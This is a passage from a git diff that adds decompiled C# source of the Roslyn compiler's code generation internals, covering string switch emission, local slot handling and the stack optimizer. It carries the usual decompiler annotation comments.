(isSpanOrReadOnlySpan) + { + _builder.EmitOpCode(ILOpCode.Ldind_u2); + } + _builder.EmitLocalStore(val2); + _builder.EmitIntegerSwitchJumpTable(current.CharCaseLabels.Select<(char, LabelSymbol), KeyValuePair>(((char value, LabelSymbol label) p) => new KeyValuePair(ConstantValue.Create(p.value), p.label)).ToArray(), (object)labelSymbol, LocalOrParameter.op_Implicit(val2), specialType.PrimitiveTypeCode); + } + FreeTemp(val2); + } + void emitFinalDispatches(LengthBasedStringSwitchData lengthBasedSwitchInfo, LocalOrParameter key, TypeSymbol keyType2, LabelSymbol fallThroughLabel2, SyntaxNode syntaxNode2) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = lengthBasedSwitchInfo.StringBasedJumpTables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LengthBasedStringSwitchData.StringJumpTable current = enumerator.Current; + _builder.MarkLabel((object)current.Label); + EmitStringSwitchJumpTable(current.StringCaseLabels.Select<(string, LabelSymbol), KeyValuePair>(((string value, LabelSymbol label) p) => new KeyValuePair(ConstantValue.Create(p.value), p.label)).ToArray(), fallThroughLabel2, key, syntaxNode2, keyType2); + } + } + void emitLengthDispatch(LengthBasedStringSwitchData lengthBasedSwitchInfo, LocalOrParameter val, LabelSymbol labelSymbol, SyntaxNode val2) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + if (!isSpanOrReadOnlySpan) + { + _builder.EmitLoad(val); + _builder.EmitBranch(ILOpCode.Brfalse, (object)(lengthBasedSwitchInfo.LengthBasedJumpTable.NullCaseLabel ?? labelSymbol), ILOpCode.Brtrue); + } + NamedTypeSymbol specialType = Binder.GetSpecialType(((PEModuleBuilder)_module).Compilation, (SpecialType)13, val2, _diagnostics); + LocalDefinition val3 = AllocateTemp(specialType, val2, (LocalSlotConstraints)0); + if (isSpanOrReadOnlySpan) + { + _builder.EmitLoadAddress(val); + } + else + { + _builder.EmitLoad(val); + } + _builder.EmitOpCode(ILOpCode.Call, 0); + emitMethodRef(lengthMethodRef); + _builder.EmitLocalStore(val3); + _builder.EmitIntegerSwitchJumpTable(lengthBasedSwitchInfo.LengthBasedJumpTable.LengthCaseLabels.Select<(int, LabelSymbol), KeyValuePair>(((int value, LabelSymbol label) p) => new KeyValuePair(ConstantValue.Create(p.value), p.label)).ToArray(), (object)labelSymbol, LocalOrParameter.op_Implicit(val3), specialType.PrimitiveTypeCode); + FreeTemp(val3); + } + void emitMethodRef(IMethodReference val) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + _builder.EmitToken((ISignature)(object)val, (SyntaxNode)null, instance); + instance.Free(); + } + } + + private void EmitStringSwitchJumpTable(KeyValuePair[] switchCaseLabels, LabelSymbol fallThroughLabel, LocalOrParameter key, SyntaxNode syntaxNode, TypeSymbol keyType) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0251: Unknown result type (might be due to invalid IL or missing references) + //IL_0258: Expected O, but got Unknown + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_0279: Unknown result type (might be due to invalid IL or missing references) + //IL_027e: Unknown result type (might be due to invalid IL or missing references) + //IL_0284: Expected O, but got Unknown + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + bool flag = keyType.IsSpanChar(); + bool flag2 = keyType.IsReadOnlySpanChar(); + bool isSpanOrReadOnlySpan = flag || flag2; + LocalDefinition val = null; + if (SwitchStringJumpTableEmitter.ShouldGenerateHashTableSwitch(switchCaseLabels.Length)) + { + IReference method = (IReference)(object)((PEModuleBuilder)_module).GetPrivateImplClass(syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag).GetMethod((!isSpanOrReadOnlySpan) ? "ComputeStringHash" : (flag2 ? "ComputeReadOnlySpanHash" : "ComputeSpanHash")); + if (method != null) + { + _builder.EmitLoad(key); + _builder.EmitOpCode(ILOpCode.Call, 0); + _builder.EmitToken(method, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + NamedTypeSymbol specialType = Binder.GetSpecialType(((PEModuleBuilder)_module).Compilation, (SpecialType)14, syntaxNode, _diagnostics); + val = AllocateTemp(specialType, syntaxNode, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val); + } + } + IMethodReference stringEqualityMethodRef = null; + IMethodReference sequenceEqualsMethodRef = null; + IMethodReference asSpanMethodRef = null; + if (isSpanOrReadOnlySpan) + { + MethodSymbol methodSymbol = ((MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)(flag2 ? 474 : 473), _diagnostics, null, syntaxNode)).Construct(Binder.GetSpecialType(((PEModuleBuilder)_module).Compilation, (SpecialType)8, syntaxNode, _diagnostics)); + sequenceEqualsMethodRef = _module.Translate(methodSymbol, null, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + MethodSymbol methodSymbol2 = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)475, _diagnostics, null, syntaxNode); + asSpanMethodRef = _module.Translate(methodSymbol2, null, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + else + { + MethodSymbol methodSymbol3 = ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)9) as MethodSymbol; + stringEqualityMethodRef = _module.Translate(methodSymbol3, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + IMethodReference lengthMethodRef = GetLengthMethodRef(syntaxNode, keyType, flag2, isSpanOrReadOnlySpan); + EmitStringCompareAndBranch val2 = (EmitStringCompareAndBranch)delegate(LocalOrParameter keyArg, ConstantValue stringConstant, object targetLabel) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + if (stringConstant == ConstantValue.Null) + { + _builder.EmitLoad(keyArg); + _builder.EmitBranch(ILOpCode.Brfalse, targetLabel, ILOpCode.Brtrue); + } + else if (stringConstant.StringValue.Length == 0 && lengthMethodRef != null) + { + object obj3 = new object(); + if (isSpanOrReadOnlySpan) + { + _builder.EmitLoadAddress(keyArg); + } + else + { + _builder.EmitLoad(keyArg); + _builder.EmitBranch(ILOpCode.Brfalse, obj3, ILOpCode.Brtrue); + _builder.EmitLoad(keyArg); + } + _builder.EmitOpCode(ILOpCode.Call, 0); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + _builder.EmitToken((ISignature)(object)lengthMethodRef, (SyntaxNode)null, instance); + instance.Free(); + _builder.EmitBranch(ILOpCode.Brfalse, targetLabel, ILOpCode.Brtrue); + _builder.MarkLabel(obj3); + } + else if (isSpanOrReadOnlySpan) + { + EmitCharCompareAndBranch(key, syntaxNode, stringConstant, targetLabel, (IReference)(object)sequenceEqualsMethodRef, (IReference)(object)asSpanMethodRef); + } + else + { + EmitStringCompareAndBranch(key, syntaxNode, stringConstant, targetLabel, (IReference)(object)stringEqualityMethodRef); + } + }; + ILBuilder builder = _builder; + LocalOrParameter val3 = key; + LocalDefinition obj = val; + object obj2 = _003C_003EO._003C1_003E__ComputeStringHash; + if (obj2 == null) + { + GetStringHashCode val4 = SynthesizedStringSwitchHashMethod.ComputeStringHash; + _003C_003EO._003C1_003E__ComputeStringHash = val4; + obj2 = (object)val4; + } + builder.EmitStringSwitchJumpTable(switchCaseLabels, (object)fallThroughLabel, val3, obj, val2, (GetStringHashCode)obj2); + if (val != null) + { + FreeTemp(val); + } + } + + private IMethodReference? GetLengthMethodRef(SyntaxNode syntaxNode, TypeSymbol keyType, bool isReadOnlySpan, bool isSpanOrReadOnlySpan) + { + if (isSpanOrReadOnlySpan) + { + MethodSymbol methodSymbol = ((MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)(isReadOnlySpan ? 407 : 401), _diagnostics, null, syntaxNode)).AsMember((NamedTypeSymbol)keyType); + return _module.Translate(methodSymbol, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + MethodSymbol methodSymbol2 = ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)11) as MethodSymbol; + if (methodSymbol2 != null && !methodSymbol2.HasUseSiteError) + { + return _module.Translate(methodSymbol2, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + return null; + } + + private IMethodReference? GetIndexerRef(SyntaxNode syntaxNode, TypeSymbol keyType, bool isReadOnlySpan, bool isSpanOrReadOnlySpan) + { + if (isSpanOrReadOnlySpan) + { + MethodSymbol methodSymbol = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)(isReadOnlySpan ? 406 : 400), _diagnostics, null, syntaxNode); + if (methodSymbol != null && !methodSymbol.HasUseSiteError) + { + MethodSymbol methodSymbol2 = methodSymbol.AsMember((NamedTypeSymbol)keyType); + return _module.Translate(methodSymbol2, null, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + else + { + MethodSymbol methodSymbol3 = ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)12) as MethodSymbol; + if (methodSymbol3 != null && !methodSymbol3.HasUseSiteError) + { + return _module.Translate(methodSymbol3, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + return null; + } + + private void EmitStringCompareAndBranch(LocalOrParameter key, SyntaxNode syntaxNode, ConstantValue stringConstant, object targetLabel, IReference stringEqualityMethodRef) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _builder.EmitLoad(key); + _builder.EmitConstantValue(stringConstant); + _builder.EmitOpCode(ILOpCode.Call, -1); + _builder.EmitToken(stringEqualityMethodRef, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitBranch(ILOpCode.Brtrue, targetLabel, ILOpCode.Brfalse); + } + + private void EmitCharCompareAndBranch(LocalOrParameter key, SyntaxNode syntaxNode, ConstantValue stringConstant, object targetLabel, IReference sequenceEqualsRef, IReference asSpanRef) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _builder.EmitLoad(key); + _builder.EmitConstantValue(stringConstant); + _builder.EmitOpCode(ILOpCode.Call, 0); + _builder.EmitToken(asSpanRef, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitOpCode(ILOpCode.Call, -1); + _builder.EmitToken(sequenceEqualsRef, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitBranch(ILOpCode.Brtrue, targetLabel, ILOpCode.Brfalse); + } + + private LocalDefinition GetLocal(BoundLocal localExpression) + { + LocalSymbol localSymbol = localExpression.LocalSymbol; + return GetLocal(localSymbol); + } + + private LocalDefinition GetLocal(LocalSymbol symbol) + { + return _builder.LocalSlotManager.GetLocal((ILocalSymbolInternal)(object)symbol); + } + + private LocalDefinition DefineLocal(LocalSymbol local, SyntaxNode syntaxNode) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Expected O, but got Unknown + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Invalid comparison between Unknown and I4 + //IL_01c9: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Invalid comparison between Unknown and I4 + ImmutableArray immutableArray = ((!local.IsCompilerGenerated && local.Type.ContainsDynamic()) ? CSharpCompilation.DynamicTransformsEncoder.Encode(local.Type, (RefKind)0, 0) : ImmutableArray.Empty); + ImmutableArray immutableArray2 = ((!local.IsCompilerGenerated && local.Type.ContainsTupleNames()) ? CSharpCompilation.TupleNamesEncoder.Encode(local.Type) : ImmutableArray.Empty); + if (local.IsConst) + { + MetadataConstant val = ((PEModuleBuilder)_module).CreateConstant(local.Type, local.ConstantValue, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + LocalConstantDefinition val2 = new LocalConstantDefinition(local.Name, local.GetFirstLocationOrNone(), val, immutableArray, immutableArray2); + _builder.AddLocalConstantToScope(val2); + return null; + } + if (IsStackLocal(local)) + { + return null; + } + LocalSlotConstraints val3; + ITypeReference val4; + if (local.DeclarationKind == LocalDeclarationKind.FixedVariable && local.IsPinned) + { + val3 = (LocalSlotConstraints)3; + TypeSymbol pointedAtType = ((PointerTypeSymbol)local.Type).PointedAtType; + ITypeReference obj; + if (!pointedAtType.IsVoidType()) + { + obj = ((PEModuleBuilder)_module).Translate(pointedAtType, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + else + { + ITypeReference specialType = (ITypeReference)(object)((PEModuleBuilder)_module).GetSpecialType((SpecialType)21, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + obj = specialType; + } + val4 = obj; + } + else + { + val3 = (LocalSlotConstraints)((local.IsPinned ? 2 : 0) | (((int)local.RefKind != 0) ? 1 : 0)); + val4 = ((PEModuleBuilder)_module).Translate(local.Type, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + ((CommonPEModuleBuilder)_module).GetFakeSymbolTokenForIL((IReference)(object)val4, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + LocalDebugId localId; + string localDebugName = GetLocalDebugName((ILocalSymbolInternal)(object)local, out localId); + LocalDefinition val5 = _builder.LocalSlotManager.DeclareLocal(val4, (ILocalSymbolInternal)(object)local, localDebugName, local.SynthesizedKind, localId, SynthesizedLocalKindExtensions.PdbAttributes(local.SynthesizedKind), val3, immutableArray, immutableArray2, SynthesizedLocalKindExtensions.IsSlotReusable(local.SynthesizedKind, (int)_ilEmitStyle != 2)); + bool flag = val5.Name != null; + if (flag) + { + bool flag2 = (int)local.SynthesizedKind == 0; + if (flag2) + { + bool flag3; + switch (local.ScopeDesignatorOpt?.Kind()) + { + case SyntaxKind.SwitchSection: + case SyntaxKind.SwitchExpressionArm: + flag3 = true; + break; + default: + flag3 = false; + break; + } + flag2 = flag3; + } + flag = !flag2; + } + if (flag) + { + _builder.AddLocalToScope(val5); + } + return val5; + } + + private string GetLocalDebugName(ILocalSymbolInternal local, out LocalDebugId localId) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + localId = LocalDebugId.None; + if (local.IsImportedFromMetadata) + { + return ((ISymbolInternal)local).Name; + } + SynthesizedLocalKind synthesizedKind = local.SynthesizedKind; + if (!SynthesizedLocalKindExtensions.IsLongLived(synthesizedKind) || (int)synthesizedKind == 34) + { + return null; + } + if ((int)_ilEmitStyle == 0) + { + SyntaxNode declaratorSyntax = local.GetDeclaratorSyntax(); + int num = _method.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(declaratorSyntax), declaratorSyntax.SyntaxTree); + int num2 = _synthesizedLocalOrdinals.AssignLocalOrdinal(synthesizedKind, num); + localId = new LocalDebugId(num, num2); + } + return ((ISymbolInternal)local).Name ?? GeneratedNames.MakeSynthesizedLocalName(synthesizedKind, ref _uniqueNameId); + } + + private bool IsSlotReusable(LocalSymbol local) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + return SynthesizedLocalKindExtensions.IsSlotReusable(local.SynthesizedKind, (int)_ilEmitStyle != 2); + } + + private void FreeLocal(LocalSymbol local) + { + if (local.Name == null && IsSlotReusable(local) && !IsStackLocal(local)) + { + _builder.LocalSlotManager.FreeLocal((ILocalSymbolInternal)(object)local); + } + } + + private LocalDefinition AllocateTemp(TypeSymbol type, SyntaxNode syntaxNode, LocalSlotConstraints slotConstraints = (LocalSlotConstraints)0) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return _builder.LocalSlotManager.AllocateSlot(((PEModuleBuilder)_module).Translate(type, syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), slotConstraints, default(ImmutableArray), default(ImmutableArray)); + } + + private void FreeTemp(LocalDefinition temp) + { + _builder.LocalSlotManager.FreeSlot(temp); + } + + private void FreeOptTemp(LocalDefinition temp) + { + if (temp != null) + { + FreeTemp(temp); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/DummyLocal.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/DummyLocal.cs new file mode 100644 index 0000000..6e0452c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/DummyLocal.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal sealed class DummyLocal : LocalSymbol +{ + internal override bool IsImportedFromMetadata => false; + + internal override LocalDeclarationKind DeclarationKind => LocalDeclarationKind.None; + + internal override SynthesizedLocalKind SynthesizedKind => (SynthesizedLocalKind)(-3); + + internal override SyntaxNode ScopeDesignatorOpt => null; + + internal override SyntaxToken IdentifierToken => default(SyntaxToken); + + internal override bool IsPinned => false; + + internal override bool IsKnownToReferToTempIfReferenceType => false; + + public override Symbol ContainingSymbol + { + get + { + throw new NotImplementedException(); + } + } + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + throw new NotImplementedException(); + } + } + + public override ImmutableArray Locations + { + get + { + throw new NotImplementedException(); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw new NotImplementedException(); + } + } + + internal override bool IsCompilerGenerated => true; + + internal override bool HasSourceLocation => false; + + public override RefKind RefKind => (RefKind)0; + + internal override ScopedKind Scope => (ScopedKind)0; + + internal override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + throw new NotImplementedException(); + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics) + { + throw new NotImplementedException(); + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + throw new NotImplementedException(); + } + + internal override SyntaxNode GetDeclaratorSyntax() + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/ExprContext.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/ExprContext.cs new file mode 100644 index 0000000..21308a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/ExprContext.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal enum ExprContext +{ + None, + Sideeffects, + Value, + Address, + AssignmentTarget, + Box +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseInfo.cs new file mode 100644 index 0000000..e21aff9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseInfo.cs @@ -0,0 +1,64 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal class LocalDefUseInfo +{ + private readonly ObjectPool _pool; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + private ArrayBuilder _localDefs; + + public int StackAtDeclaration { get; private set; } + + public ArrayBuilder LocalDefs + { + get + { + ArrayBuilder val = _localDefs; + if (val == null) + { + val = (_localDefs = ArrayBuilder.GetInstance()); + } + return val; + } + } + + public bool CannotSchedule { get; private set; } + + public void ShouldNotSchedule() + { + CannotSchedule = true; + } + + private LocalDefUseInfo(ObjectPool pool) + { + _pool = pool; + } + + public void Free() + { + if (_localDefs != null) + { + _localDefs.Free(); + _localDefs = null; + } + _pool?.Free(this); + } + + public static ObjectPool CreatePool() + { + ObjectPool pool = null; + pool = new ObjectPool((Factory)(() => new LocalDefUseInfo(pool)), 128, true); + return pool; + } + + public static LocalDefUseInfo GetInstance(int stackAtDeclaration) + { + LocalDefUseInfo localDefUseInfo = s_poolInstance.Allocate(); + localDefUseInfo.StackAtDeclaration = stackAtDeclaration; + localDefUseInfo.CannotSchedule = false; + return localDefUseInfo; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseSpan.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseSpan.cs new file mode 100644 index 0000000..b008697 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/LocalDefUseSpan.cs @@ -0,0 +1,64 @@ +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal readonly struct LocalDefUseSpan +{ + public readonly int Start; + + public readonly int End; + + public LocalDefUseSpan(int start) + : this(start, start) + { + } + + private LocalDefUseSpan(int start, int end) + { + Start = start; + End = end; + } + + internal LocalDefUseSpan WithEnd(int end) + { + return new LocalDefUseSpan(Start, end); + } + + public override string ToString() + { + string[] obj = new string[5] { "[", null, null, null, null }; + int start = Start; + obj[1] = start.ToString(); + obj[2] = " ,"; + start = End; + obj[3] = start.ToString(); + obj[4] = ")"; + return string.Concat(obj); + } + + public bool ConflictsWith(LocalDefUseSpan other) + { + return Contains(other.Start) ^ Contains(other.End); + } + + private bool Contains(int val) + { + if (Start < val) + { + return End > val; + } + return false; + } + + public bool ConflictsWithDummy(LocalDefUseSpan dummy) + { + return Includes(dummy.Start) ^ Includes(dummy.End); + } + + private bool Includes(int val) + { + if (Start <= val) + { + return End >= val; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/Optimizer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/Optimizer.cs new file mode 100644 index 0000000..5810190 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/Optimizer.cs @@ -0,0 +1,153 @@ +using System.Collections.Generic; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal class Optimizer +{ + public static BoundStatement Optimize(BoundStatement src, bool debugFriendly, out HashSet stackLocals) + { + PooledDictionary instance = PooledDictionary.GetInstance(); + src = (BoundStatement)StackOptimizerPass1.Analyze(src, (Dictionary)(object)instance, debugFriendly); + FilterValidStackLocals((Dictionary)(object)instance); + BoundStatement result; + if (((Dictionary)(object)instance).Count == 0) + { + stackLocals = null; + result = src; + } + else + { + stackLocals = new HashSet(((Dictionary)(object)instance).Keys); + result = StackOptimizerPass2.Rewrite(src, (Dictionary)(object)instance); + } + foreach (LocalDefUseInfo value in ((Dictionary)(object)instance).Values) + { + value.Free(); + } + instance.Free(); + return result; + } + + private static void FilterValidStackLocals(Dictionary info) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + LocalSymbol[] array = info.Keys.ToArray(); + foreach (LocalSymbol localSymbol in array) + { + LocalDefUseInfo localDefUseInfo = info[localSymbol]; + if ((int)localSymbol.SynthesizedKind == -3) + { + instance.Add(localDefUseInfo); + info.Remove(localSymbol); + } + else if (localDefUseInfo.CannotSchedule) + { + localDefUseInfo.Free(); + info.Remove(localSymbol); + } + } + if (info.Count != 0) + { + RemoveIntersectingLocals(info, instance); + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Free(); + } + instance.Free(); + } + + private static void RemoveIntersectingLocals(Dictionary info, ArrayBuilder dummies) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(dummies.Count); + Enumerator enumerator = dummies.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.LocalDefs.GetEnumerator(); + while (enumerator2.MoveNext()) + { + LocalDefUseSpan current = enumerator2.Current; + if (current.Start != current.End) + { + instance.Add(current); + } + } + } + int count = instance.Count; + foreach (var item in from _003C_003Eh__TransparentIdentifier0 in info.SelectMany(delegate(KeyValuePair i) + { + KeyValuePair keyValuePair = i; + return (IEnumerable)keyValuePair.Value.LocalDefs; + }, (KeyValuePair i, LocalDefUseSpan d2) => new + { + i = i, + d = d2 + }) + orderby _003C_003Eh__TransparentIdentifier0.d.End - _003C_003Eh__TransparentIdentifier0.d.Start, _003C_003Eh__TransparentIdentifier0.d.End + select new + { + i = _003C_003Eh__TransparentIdentifier0.i.Key, + d = _003C_003Eh__TransparentIdentifier0.d + }) + { + if (!info.ContainsKey(item.i)) + { + continue; + } + LocalDefUseSpan d = item.d; + int count2 = instance.Count; + bool flag; + if (count2 > 5000) + { + flag = true; + } + else + { + flag = false; + for (int num = 0; num < count; num++) + { + LocalDefUseSpan dummy = instance[num]; + if (d.ConflictsWithDummy(dummy)) + { + flag = true; + break; + } + } + if (!flag) + { + for (int num2 = count; num2 < count2; num2++) + { + LocalDefUseSpan other = instance[num2]; + if (d.ConflictsWith(other)) + { + flag = true; + break; + } + } + } + } + if (flag) + { + info[item.i].LocalDefs.Free(); + info.Remove(item.i); + } + else + { + instance.Add(d); + } + } + instance.Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass1.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass1.cs new file mode 100644 index 0000000..bfb06e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass1.cs @@ -0,0 +1,1141 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal sealed class StackOptimizerPass1 : BoundTreeRewriter +{ + private sealed class LocalUsedWalker : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly LocalSymbol _local; + + private bool _found; + + internal LocalUsedWalker(LocalSymbol local, int recursionDepth) + : base(recursionDepth) + { + _local = local; + } + + public bool IsLocalUsedIn(BoundNode node) + { + _found = false; + Visit(node); + return _found; + } + + public override BoundNode Visit(BoundNode node) + { + if (!_found) + { + return base.Visit(node); + } + return null; + } + + public override BoundNode VisitLocal(BoundLocal node) + { + if (node.LocalSymbol == _local) + { + _found = true; + } + return null; + } + } + + private readonly bool _debugFriendly; + + private readonly ArrayBuilder<(BoundExpression, ExprContext)> _evalStack; + + private int _counter; + + private ExprContext _context; + + private BoundLocal _assignmentLocal; + + private readonly Dictionary _locals; + + private readonly SmallDictionary _dummyVariables = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + + public static readonly DummyLocal empty = new DummyLocal(); + + private int _recursionDepth; + + private StackOptimizerPass1(Dictionary locals, ArrayBuilder<(BoundExpression, ExprContext)> evalStack, bool debugFriendly) + { + _locals = locals; + _evalStack = evalStack; + _debugFriendly = debugFriendly; + DeclareLocal(empty, 0); + RecordDummyWrite(empty); + } + + 